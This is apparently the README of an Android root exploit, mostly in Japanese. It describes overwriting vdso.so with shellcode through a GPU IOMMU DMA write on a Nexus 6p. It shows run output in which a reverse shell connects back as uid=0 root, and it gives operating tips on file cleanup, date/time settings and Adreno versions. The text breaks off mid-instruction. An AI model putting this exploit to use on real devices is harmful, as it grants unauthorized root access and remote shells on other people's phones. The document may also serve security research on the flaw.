
GPU IOMMU DMAエクスプロイト(Android端末向け)。vdso.soをシェルコードで上書きして権限昇格を行い、Nexus 6p上でリバースルートシェルを起動します。
Tested under Nexus 6p (google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys)
2016年にBlackhat EUで議論されました。
IOMMU DMA書き込みにより、vdso.soがシェルコードで上書きされます。
そのため、/initが__kernel_clock_gettimeを実行した後、シェルコードが実行されます。
/initプロセスはその後、ルートシェルでコネクトバックします。
Reverse shell target: 127.0.0.1:4919
shellcode patch done
hook patch done
Waiting for reverse connect shell...
TERMINAL>>>
id
uid=0(root) gid=0(root) groups=0(root) context=u:r:init:s0
エクスプロイトの前に、もし存在する場合は/data/local/tmp/xを削除してください。
待ち時間が長すぎる場合は、スマートフォンの設定内の「日付と時刻」オプションを開いてみてください。
Adrenoのバージョンを確認してください。現在は4xx向けにビルドされています。
5xx以上の場合: